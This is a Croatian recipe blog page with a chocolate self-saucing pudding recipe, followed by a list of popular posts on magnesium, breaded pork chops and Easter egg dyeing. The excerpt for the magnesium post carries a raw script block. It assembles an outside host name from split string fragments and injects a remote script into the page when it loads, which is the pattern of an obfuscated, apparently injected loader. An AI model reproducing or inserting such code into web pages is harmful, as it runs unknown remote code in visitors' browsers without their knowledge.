ČOKOLADNI KOLAČ S TEKSTUROM NALIK PUDINGU





Čokoladni kolač s teksturom nalik pudingu 



Chocolate self-saucing pudding, kako i sam naziv govori, jest čokoladni kolač s teksturom nalik pudingu, koji za vrijeme pečenja sam stvara svoj umak. Priprema se jedna gusta smjesa nalik onoj za brownie, na nju se stavlja suha mješavina kakaa i šećera, a sve se na kraju prelije vrućom vodom. Zvuči pomalo neobično, ali upravo se tako dobiva desert koji je izvana poput mekanog čokoladnog kolača, dok je iznutra topao, sočan i pun vlastitog čokoladnog umaka.





Čokoladni kolač s teksturom nalik pudingu 



Sastojci za kolač:

  • 150 g glatkog brašna
  • 50 g kakaa u prahu
  • 100 g šećera
  • 2 žličice praška za pecivo
  • prstohvat soli
  • 120 ml mlijeka
  • 60 g otopljenog maslaca
  • 1 žličica ekstrakta vanilije

Za čokoladni umak:

  • 100 g smeđeg šećera
  • 30 g kakaa u prahu
  • 300 ml vruće vode




Priprema:

  • Pećnicu zagrijte na 180 °C, a posudu za pečenje lagano namastite maslacem.
  • U većoj zdjeli pomiješajte brašno, kakao, šećer, prašak za pecivo i prstohvat soli.
  • Dodajte mlijeko, otopljeni maslac i vaniliju pa sve promiješajte dok ne dobijete gusto, glatko tijesto. Nemojte ga previše miješati.
  • Prebacite smjesu u pripremljenu posudu i poravnajte površinu.
  • U zasebnoj zdjelici pomiješajte smeđi šećer i kakao pa ravnomjerno pospite preko tijesta.
  • Sada dolazi najvažniji, i pomalo neobičan, korak: preko svega pažljivo prelijte 300 ml vruće vode. Ne miješajte.
  • Posudu stavite u pećnicu i pecite oko 30 do 35 minuta, odnosno dok se površina ne stisne i ispeče, a ispod nje ostane gusti čokoladni umak.
  • Ostavite kolač nekoliko minuta da odmori, a zatim ga poslužite dok je još topao. Najbolji je uz kuglicu sladoleda od vanilije.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više